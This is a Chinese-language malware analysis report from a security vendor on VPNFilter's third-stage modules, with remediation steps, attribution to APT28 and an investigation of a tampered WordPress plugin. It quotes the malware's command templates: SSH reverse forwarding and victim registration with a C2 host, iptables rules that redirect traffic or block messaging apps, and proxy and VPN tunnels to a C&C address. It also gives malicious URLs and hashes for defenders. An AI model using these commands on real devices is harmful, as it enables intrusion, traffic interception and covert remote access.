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六方云:VPNFilter深度分析报告 更新预警！ 

  作者:超弦攻防实验室(Str1ng ADlab)  

一、 事件简述 

北京时间 2018年 9月 26日, 思科公司 Talos安全团队再次发布预警称，

其捕获到 VPNFilter 僵尸网络第三阶段共计 7 个模块, 这些模块为恶意软件增

加了重要功能，极大扩展了自身功能，还能以受感染网络设备为据点攻击端点设

备，此外还包含数据过滤以及多重加密隧道功能，可以隐蔽命令与控制（C2）并

窃取相关数据流量,在第一时间获取到最新样本后,实验室安全研究员便迅速展

开了全面跟踪与深度分析。 

二、 影响面和危害分析 

VPNFilter 是一个高度模块化的多阶段恶意软件，在我们前面的分析报告

中已经指出其对物联网设备安全的危害十分严重，十分值得警惕与关注，最近更

新的 7 个模块更是加强了其在网络流量嗅探与窃取以及加密通信、反溯源等方

面的能力，大大增强了其构建分布式代理僵尸网络的能力与速度，从手持终端到

家庭路由再到工厂机械设备，都是潜在的受害对象，影响面极为广泛。 
  

三、 解决方案 

1、重启路由器并重装路由器或网络存储设备固件，并升级至最新版本  

2、备份数据，恢复设备出厂设置 

3、修改设备密码为强密码，避免为管理员账户使用默认密码，建议数字、字母

与特殊符号组合使用,定期修改密码等 

4、及时更新设备补丁，避免存在公开漏洞 

5、设置防火墙并禁用路由器远程管理 

6、部署六方云下一代防火墙 NGFW和终端安全软件，并更新最新的特征库 

 

六方云工业防火墙以及下一代防火墙 NGFW已支持针对该攻击的检测与防御: 

 

http://www.6cloudtech.com/upload/default/20180821/3b9df83890935447995292156402215c.pdf%20%20http:/www.6cloudtech.com/upload/default/20180821/3b9df83890935447995292156402215c.pdf
http://www.6cloudtech.com/upload/default/20180821/3b9df83890935447995292156402215c.pdf%20%20http:/www.6cloudtech.com/upload/default/20180821/3b9df83890935447995292156402215c.pdf
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四、 技术分析 
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模块一 : htpx(终端漏洞利用): 

该模块主要功能是监听 HTTP 流量、设置流量转发、远程下载漏洞利用载荷等。 

 

加载流量管理相关的内核模块: 

 

通过设置 iptables进行流量转发: 

 

定时检查添加的 iptables规则,确保规则有效存在： 
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监听 HTTP 通信流量是否有.exe 可执行文件,如果存在,构造 HTTP 响应消息,以

二进制可执行文件的类型传输/var/run/tr.pid文件中的内容: 

 

 

 

然后向恶意域名 103.6.146.194:80请求攻击载荷(该域名已封): 

 

 
如 果 不 存 在 .exe, 构 造 请 求 头 , 过 滤 掉 指 定 文 件 格 式

(.jpg、.jpeg、.png、.gif、.css、.js、.ttf、.woff等)并修改 gzip的编

码格式为明文 text/plain;none: 
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通过字符串比对,我们发现该模块与之前发现的阶段 3中的模块 ssler存在很大

程度上的代码复用: 
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由此可以推测 htpx 模块可能是 ssler 模块的扩展与完善模块(也有可能属于同

时期模块，但之前并未被捕捉到)。 

 

 

模块二 : ndbr(多功能 SSH 工具) 

该模块主要功能有端口扫描、在 C2和受感染机器之间提供完整的 SSH通信服务

(Dropbear SSH)等 

 

ndbr 模块集成开源 SSH 软件 Dropbear,版本号为 2017.75,可根据传入的参数

执行相应的命令或功能: 

<dropbear> 

dropbear 命令可以指示 ndbr 模块以 SSH 服务器形态运行。原始的 dropbear

代码使用了默认的 SSH端口（TCP/22）来监听传入连接。然而 ndbr模块修改了

这部分代码，使用默认的 TCP/63914 端口进行监听。此外，该模块还修改了负

责处理主机密钥文件（keyfile）的 dropbear代码。默认的密钥文件路径已经

修改为/db_key，但 ndbr模块并没有释放该文件，而是修改 buf_readfile这

个 dropbear函数，当文件名参数等于/db_key时，就会从内存中直接加载匹配

的密钥。 

dropbear服务器已被修改为通过适当的公钥进行身份验证，而不是使用基于密

码的身份验证。而公钥也嵌入在‘ndbr’可执行文件中。修改后的代码中的 bug

错误地处理了使用不正确的公钥的连接。这些身份验证失败会导致 ndbr SSH服

务器陷入无限循环。但是，没有迹象表明客户端认证失败。目前，无法确定使用

ndbr SSH服务器成功进行身份验证的正确密钥 – ‘ndbr’模块中嵌入的密钥

（即/db_key和/cli_key）都不正确，并且在任何其他与 VPNFilter相关的二

进制文件中也找不到相应的密钥。 
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<dbclient> or <ssh> 

当传入参数为 dbclient或 ssh的时候,ndbr模块将充当标准的 dropbear SSH

命令行界面客户端，但会修改其默认选项。与使用 dropbear server命令的缺

省密钥文件一样，dbclient/ssh命令具有缺省标识文件:/cli_key。 
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<NMAP> 

如果传入参数为 nmap，ndbr模块将执行对指定 IP或 IP段的端口扫描: 
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<SCP> 

如果传入参数为 SCP,ndbr运行提供 SCP功能: 

 

 

<NDBR> 

如果传入参数为 ndbr，ndbr 模块将根据传递的其他子参数执行三个操作之一。

SSH命令将使用如上所述的默认密钥（即/db_key和/cli_key）。 

第三个参数必须以‘start’开头,否则 ndbr模块自行卸载， 

如果传入参数格式如下: 

ndbr <param1> <param2> "start proxy <host> <port>" 

将执行以下 dropbear SSH命令: 

ssh -y -p 63914 prx@<host> srv_ping j(<B64 victim host 

name>)_<victim MAC address> <param2> 
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这会导致 dropbear SSH客户端连接到远程主机并发出“srv_ping”命令，该

命令可能用于向 C2服务器注册受害者. 

如果传入参数格式如下: 

ndbr <param1> <param2> "start -l <port>" 

Dropbear SSH服务器（如上所述）启动并开始监听指定的端口: 

sshd -p <port> 

 

如果传入参数格式如下: 

ndbr <param1> <param2> "start <user> <host> <port>" 

通过执行以下 dropbear命令设置远程端口转发: 

ssh -N -T -y -p <port> -R :127.0.0.1:63914 <user>@<host> 
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模块三 : nm(网络映射器) 

该模块主要功能是扫描和映射本地子网,收集各种网络信息。 

nm遍历所有接口，从 ARP扫描开始,对分配给接口的每个 IP关联的子网上的所

有主机进行扫描，一旦收到 ARP回复，nm将向发现的主机发送 ICMP回应请求。

如果收到 ICMP回应答复，它将通过执行端口扫描继续映射，尝试连接到主机上

的以下远程 TCP端口： 

9, 21, 22, 23, 25, 37, 42, 43, 53, 69, 70, 79, 80, 88, 103, 110, 

115, 118, 123, 137, 138, 139, 143, 150, 156, 161, 190, 197, 389, 

443, 445, 515, 546, 547, 569, 3306, 8080 or 8291. 

接下来，它使用 MikroTik RouterOS邻居发现协议（MNDP）来定位本地网络上

的任何其他 MikroTik设备(通过向 MNDP端口 5678发送 UDP广播消息)： 
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如果 MikroTik设备回复 MNDP ping，则 nm会从发现的设备中提取 MAC地址，

系统标识，版本号，平台类型，正常运行时间（秒），RouterOS 软件 ID，

RouterBoard模型和接口名称: 

 

nm 模块通过/proc/net/arp 来获取被感染设备的 ARP 表信息，包括相邻设备

的 IP地址和 MAC地址并且还会收集/proc/net/wireless的全部内容: 
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该模块通过首先创建到 8.8.8.8:53(谷歌免费 DNS 地址)的 TCP 连接以确认网

络通畅性来执行跟踪路由，然后 ICMP回应请求会随着 TTL的增加而重复发送到

该 IP： 

 

 

另外该模块还支持 SSDP协议(简单服务发现协议),用于搜寻局域网里面的 Upnp

设备: 
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将收集的所有网络信息都保存到名为/var/run/repsc_<time>.bin 的临时文

件中,该文件内容格式如下： 
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其会将/proc/net/wireless文件的内容进行 base64加密存储: 



                                                            引领工业互联网安全 

Tel: 010-86469302                                  

Mail:support@6cloudtech.com   

 



                                                            引领工业互联网安全 

Tel: 010-86469302                                  

Mail:support@6cloudtech.com   

 

nm 模块需要三个命令行参数，但仅使用第一参数。与其他几个模块一样，第一

个参数是文件夹，这是永久保存数据的位置。nm 模块执行的最后一项任务是将

包含扫描结果的临时.bin 文件移动到名为第一个命令行参数的文件夹，可供以

后通过主 VPNFilter进程进行渗透。 

 

模块四 : netfilter(拒绝服务攻击) 

netfilter期望三个参数。前两个参数未使用，第三个参数是带引号的字符串，

格式为“<block/unblock> <# of minutes>.”  ‘# of minutes’是

netfilter在退出前应该执行多长时间。如果“block”被用作第三个参数的第

一部分，netfilter会将以下规则添加到 iptables(unblock用于删除规则): 

Chain FORWARD (policy ACCEPT) 

target    prot opt source        destination 

DROP      tcp  -- anywhere        anywhere     tcpflags: PSH/PSH 

在我们捕获到的各种不同架构的 netfilter 模块样本中,我们发现所有样本均

包含有一个相同的列表,该列表包含大约 168个 CIDR IP地址列表,解析这些 IP

地址我们发现，其主要是与 WhatsAPP、Tencent(QQ Chat)、Amazon.com(亚

马逊)等关联的热门加密即时通讯类软件, 这表示 netfilter 模块可能被设计

为拒绝访问特定形式的加密应用程序，可能是为了试图将受害者导向到攻击者期
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望他们使用的服务上。 

 

 

模块五 : portforwarding(端口转发) 

该模块主要功能是转发所有网络流量到攻击者指定地址,进行后续操作。 

Portforwarding按照以下命令行参数执行: 
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portforwarding <unused> <unused> "start <IP1> <PORT1> <IP2> 

<PORT2>" 

 
然后模块安装如下 iptables规则设置流量转发路径: 

 

iptables -t nat -I PREROUTING 1 -p tcp -m tcp -d <IP1> --dport 

<PORT1> -j DNAT --to-destination <IP2>:<PORT2> 

 

iptables -t nat -I POSTROUTING 1 -p tcp -m tcp -d <IP2> --dport 

<PORT2> -j SNAT --to-source <device IP> 

第一条规则将受感染设备的任何流量（IP1：PORT1）被重定向到 IP2：PORT2, 

第二条规则将更改流量的源地址为受感染设备的源地址，确保能够将响应发送回

受感染的设备,并且会定时更新规则(添加后删除),保证规则的有效性驻留: 
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模块六 : socks5proxy(在感染设备上安装 SOCKS5 代理) 

该 socks5proxy模块基于开源项目 SOCKS5代理服务器 2.6.8开发的。该服务

器不使用身份验证，并且硬编码侦听 TCP 5380端口: 

 

在服务器启动之前，socks5proxy fork 连接到模块参数中指定的 C2 服务器。

如果服务器在几秒钟内没有响应，则 fork 会终止其父进程（服务器），然后退

出。C2服务器可以使用命令进行响应以正常执行或终止服务器。 
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此模块包含以下用法，但它们不与 socks5proxy 模块的参数对应，并且无法通

过命令行参数修改这些设置： 

 

socks5proxy模块的命令行参数为: 

socks5proxy <unused> <unused> "start <C&C IP> <C&C port>" 

 

模块七 : tcpvpn(在受感染设备上建立反向 TCP VPN) 

tcpvpn 模块主要功能是允许远程攻击者访问受感染设备所在的内网,它通过向

远程 C&C服务器发送信标来实现这一点，远程 C&C服务器可以像 Tun/Tap设备

一样设置，以通过 TCP连接转发数据包。该连接被视为网络设备的出站，这有助

于模块绕过简单的防火墙或 NAT。该模块在概念上类似于渗透测试软件 Cobalt 

Strike所采用的 VPN Pivoting。 

 

https://www.cobaltstrike.com/help-covert-vpn
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通过连接发送的所有数据都使用 RC4加密，密钥硬编码在样本中: 

 

 

tcpvpn模块运行的命令行参数为: 

tcpvpn <unused> <unused> "start <C&C IP> <C&C port>" 
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五、 关联分析与溯源 

在我们前面的文章中,我们就曾推测过VPNFilter名字的由来,攻击者以受感染

的路由器设备节点作为私有的 VPN 代理,通过该 VPN 代理进行受感染路由器节点

的内网渗透与操控，并嗅探或过滤出自己所关心的所有原生数据包，发送到远程

服务器，隐蔽性极高(防火墙以及 WAF 等工具被轻松绕过),根据本文的 tcpvpn 模

块技术分析,表明我们当时的推断是完全正确的，这种通过“VPN”代理进行攻击

与渗透的方式还有一个优点就是通过构建分布式代理网络能够有效混淆与隐藏

攻击源，制造一种攻击源来自先前受感染的路由器设备的假象，增大安全研究人

员的溯源成本。 

 在上述模块 3  nm 的分析过程中，我们发现该模块会使用 MikroTik 路由器

邻居发现协议来定位网络中其他的 MikroTik 设备，而就在 8 月初，维基解密披露

了一个 MikroTik  RouterOS 漏洞(CVE-2018-14747)利用,该漏洞于今年 3 月下旬被

发现，其影响 Winbox for MikroTik RouterOS 6.42 及之前的所有版本，远程攻击者

可通过修改请求利用该漏洞绕过身份验证并读取任意文件，影响面极其广泛，而

且由于 MikroTik 路由器的大范围分布，不难推测 VPNFilter 利用该漏洞作为最初

的攻击向量之一，从 RouterOS 通信端口 8291 的历史数据来看，其在上半年 3 月

26 日单日端口扫描数量高达 180,000+,在这背后是包含 VPNFilter 在内的僵尸网络

对互联网开放端口发起的疯狂扫描行为。 

 

另外前面我们提到此次 VPNFilter 僵尸网络背后的攻击是俄罗斯黑客,主要针

对乌克兰进行的一次国家级别的攻击，通过近段时间的关联分析与溯源挖掘，我

们能够确认此次攻击事件的背后组织正是强大的APT黑客组织 APT28(Fancy Bear，

化名”奇幻熊”，该组织成立于 2000 年代中期，主要服务于俄罗斯政府的政治利

益)，根据之前的分析我们知道阶段 1 的 loader 模块会通过从 Photobucket.com 或 

ToKnowAll.com 上下载恶意图片进行解密获取阶段 2 模块地址，其中

photobucket.com 是属于被劫持利用的正常图片分享网站，而 toknowall.com 属于

攻击者注册的恶意域名，通过对 toknowall.com 进行 whois 查询，我们发现该域

名是由英国普利茅斯就职于一家名叫 Earthworks Yard Maintenance 的公司的员工

注册: 
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通过对该域名注册机构进行 whois 反查,可以发现历史上该机构注册了约 17 个域

名，具体信息如下: 

 

然而通过一系列关联挖掘，我们发现该注册机构(公司)以及注册人、注册人所在

街道等信息并不真实，显然是有意伪造，而且截止目前 17 个域名中 ,只有

verybigmoney.net 依然存活，通过对该网站进行扫描探测，我们发现其使用 4.9.8

版本的 WordPress,而且使用名为” cardoza-facebook-like-box”的插件,版本显示为

最新的 2.10.1: 
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cardoza-facebook-like-box 插件是由居住在伦敦的 WordPress 开发工程师 Vinoj 

Cardoza 开发的,经 Google 搜索我们在 Github 上寻找该插件源代码，找到 2 个结

果: 

 

第一个最近更新时间是 2017 年 8 月 2 日，而第二个是三年前，我们便对第一个

库代码进行分析，通过对核心代码进行代码安全审计，意外的是我们发现在 2.9

版本的 cardoza_facebook_like_box.php 中存在不安全代码，可能引起任意代码上

传漏洞: 
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只要 WordPress 加载处于活动的该插件或者直接向文件发送请求就能运行该代

码，因此攻击者只要能够访问该网站主页或直接访问文件就能够上传恶意样本进

行投毒，在分析过程中我们发现插件中没有任何地方对该代码进行引用，这就表

明该段代码很可能是被攻击者恶意植入，进行所谓的插件供应链攻击(supply-

chain attack) ,在 cardoza_facebook_like_box.php 中我们还发现了一处可疑操作代

码: 

 
这将导致 https://johnnash.info/plugin/ads.js 的 URL 内容以 JavaScript 的形式加载

到管理页面上,很可能会被用于恶意目的(广告流量推广或者其他)，循着好奇的心

理我们点开了该链接，发现页面显示空白，ads.js 没有一行代码，这令我们感到

疑惑,这时我们突然想起我们分析的版本是 2.9，而网站所用最新的插件版本是

2.10.1，于是通过 google 找到最新的 2.10.1 版本代码，经过对比发现 2.10.1 版本

已经去除了上面发现的 2 处恶意代码: 

https://www.wordfence.com/blog/2018/01/wordpress-supply-chain-attacks/
https://www.wordfence.com/blog/2018/01/wordpress-supply-chain-attacks/
https://johnnash.info/plugin/ads.js
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顺便我们也对 2.9 版本之前的版本 2.8.8 进行了审计，也均没有发现此 2 处代

码，却发现 2.88版本的作者是 johnnash1975: 

 

同时我们也在 Vinoj Cardoza 的主页上得知其已经把插件卖给了第三方个人: 
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这样 johnnash1975 这个名字就跟前面第二处不安全代码中涉及到的 URL 

https://johnnash.info/plugin/ads.js 关 联 起 来 了 ，

https://johnnash.info  这个域名应该是 johnnash1975的,通过 whois查

询得知，该域名注册于 2017年 3月 15日, 

 

https://johnnash.info/plugin/ads.js
https://johnnash.info/
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而插件被修改添加恶意代码的时间是 3 月 16 日： 

 

而且我们还发现 3 月 19 日, Vinoj Cardoza 更新插件目录作者的名字，正式对外

生效(由此可以推测原作者于 2017 年 3 月 15 日前不久将插件转让给

johnnash1975): 

 

johnnash1975 在刚刚接手插件不久就对源码进行修改，很难不让人怀疑这是早有

预谋, 在 WordPress.org 的官网上也看到有 2,000+的活跃用户(截止目前大概有

300,000 的历史安装量): 
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种种迹象向我们表明第三方极有可能曾经是 APT28 组织的成员(或控制肉鸡)，通

过污染 WordPress 插件供应链，进行一定规模的互联网钓鱼投毒，像这种供应链

被第三方接管进行污染传播的例子在史上也时有发生，值得安全研究人员与软件

供应商的警惕。 

综上，我们认为此事件并未就此结束，六方云超弦攻防实验室仍热会继续关

注事件的进展并跟踪分析 APT28 的最新动态，我们后期会针对各类 APT 组织的

攻击事件进行一系列系统化、整体化的挖掘和分析，以期最大程度地还原真实攻

击画像，为企业和个人提供最及时的威胁防御措施。 
 

 

时间线: 

 

2018-05-23 Cisco Talos研究团队开始披露 VPNFilter事件 

2018-06-06 Cisco Talos 披露新的 Stage 3恶意模块 

2018-06-07 六方云针对 VPNFilter分析初稿完成，并持续跟踪 

2018-06-19 六方云超弦攻防实验室(String Lab)对外发布深度分析报告 

2018-06-20 – 10-21 持续关注与跟踪分析 

2018-10-22 六方云超弦攻防实验室对外发布 VPNFilter深度分析更新报告 
 

六、 附录 IOCs 

a43a4a218cf5755ce7a7744702bb45a34321339ab673863bf6f00ac193cf55fc 

aac52856690468687bbe9e357d02835e9f5226a85eacc19c34ff681c50a6f0d8 

13165d9673c240bf43630cddccdc4ab8b5672085520ee12f7596557be02d3605 

b81f857cd8efab6e6e5368b1c00d93505808b0db4b773bee1843a3bc948d3f4f 
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809f93cbcfe5e45fae5d69ca7e64209c02647660d1a79b52ec6d05071b21f61a 

7ff2e167370e3458522eaa7b0fb81fe21cd7b9dec1c74e7fb668e92e261086e0 

81368d8f30a8b2247d5b1f8974328e9bd491b574285c2f132108a542ea7d38c7 

b301d6f2ba8e532b6e219f3d9608a56d643b8f289cfe96d61ab898b4eab0e3f5 

99e1db762ff5645050cea4a95dc03eac0db2ceb3e77d8f17b57cd6e294404cc7 

76bf646fce8ff9be94d48aad521a483ee49e1cb53cfd5021bb8b933d2c4a7f0f 

e009b567516b20ef876da6ef4158fad40275a960c1efd24c804883ae273566b0 

7c06b032242abefe2442a8d716dddb216ec44ed2d6ce1a60e97d30dbba1fb643 

f8080b9bfc1bd829dce94697998a6c98e4eb6c9848b02ec10555279221dd910a 

4e350d11b606a7e0f5e88270938f938b6d2f0cc8d62a1fdd709f4a3f1fa2c828 

f1cf895d29970c5229b6a640c253b9f306185d4e99f4eac83b7ba1a325ef9fb8 

8395e650e94b155bbf4309f777b70fa8fdc44649f3ab335c1dfdfeb0cdee44ff 

a249a69e692fff9992136914737621f117a7d8d4add6bac5443c002c379fe072 

5e75b8b5ebbef78f35b00702ced557cf0f30f68ee08b399fc26a3e3367bb177b 

fe022403a9d4c899d8d0cb7082679ba608b69091a016e08ad9e750186b1943dd 

116d584de3673994e716e86fbb3945e0c6102bfbd30c48b13872a808091e6bc9 

4263c93ce53d7f88c62fecb6a948d70e51c19e1049e07df2c70a467bcefee2c8 

5d70e7dd5872cc0d7d0f7015c11400e891c939549c01922bff2bbe3b7d5d1ce3 

5c52f115ab8a830d402fac8627d0bfdcbbfd4dcf0e6ad8154d49bb85387893aa 

e75e224c909c9ead4cb50cd772f606407b09b146051bfb28015fcbe27b4a5e8d 

999f14044f41adfd9fb6c97c04d7d2fd9af01724b3ab69739acf615654abfa43 

b118b23a192f372616efe8c2b12977d379ac76df22493c14361587bd1cc8a804 

7ba0dc46510492a7f6c9b2bcc155333898d677cd8a88fe0e1ac1ad3852f1c170 

83b3dbf7f6bc5f98151b26781fa892fc1a014c62af18c95ae537848204f413b8 

fce03f57b3fd3842efac3ce676687794c4decc29b612068e578134f3c4c4296a 

1f26b69a353198bb047dde86d48198be8271e07f8c9d647d2f562207e1330a37 

1e824654afba03678f8177e065c487a07192069711eeb4abe397010771b463b5 

84227f906c7f49071d6598b9035fc785d2b144a6349d0cf7c29177c00db2dc2f 

6eb09f805a68b29c9516d649019bea0bb4796e504ca379783455508a08f61087 

aa5baa135b2ada5560833747260545d6a5b49558f6244c0f19443dc87c00294d 

4c5e21125738c330af1bfe5cabc5f18fa14bbef53805dda2c3c31974555f7ec5 

0f3746f273281472e7181f1dd1237f0c9fc26f576a883f42413c759f381006c4 

acfc72b8d6611dc9cd6a3f1a4484aa0adfb404ad5faaa8b8db5747b0ff05bc22 

fe9c17ac036622b2d73466f62b5d095edda2d3b60fa546a48d0bb18f8b11059f 

830091904dab92467956b91555bc88fa7e6bbde514b8a90bb078c8a3bb2f39a9 

5a28ad479d55275452e892b799c32803f81307079777bb1a5c4d24477206d16b 

8440128350e98375b7eff67a147dfe4e85067d67f2ad20d9485f3de246505a5f 

275c4e86218915c337d7e37e7caba36cb830512b17353bf9716c4ba6dceb33ed 

b700207c903e8da41f33f11b69f703324ec79eb56c98b22efaeac0a10447ec44 

2aa149a88539e8dd065c8885053a30d269be63d41a5db3f66c1982202761aa75 

1a11240d0af108720de1a8a72ceadef102889f4d5679c1a187559d8d98143b0b 

3b6be595b4183b473964345090077b1df29b0cace0077047b46174cc09c690e1 

620c51f83457d0e8cb985f1aff07c6d4a33da7566297d41af681ae3e5fbd2f80 

4c8da690501c0073a3c262a3079d8efac3fea9e2db9c55f3c512589e9364e85c 
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d92282acf3fea66b05a75aba695e98a5ea1cc1151f9e5370f712b69a816bf475 

30382c1e7566d59723ff7ef785a1395711be64873dbca6d86691b1f5d86ba29f 
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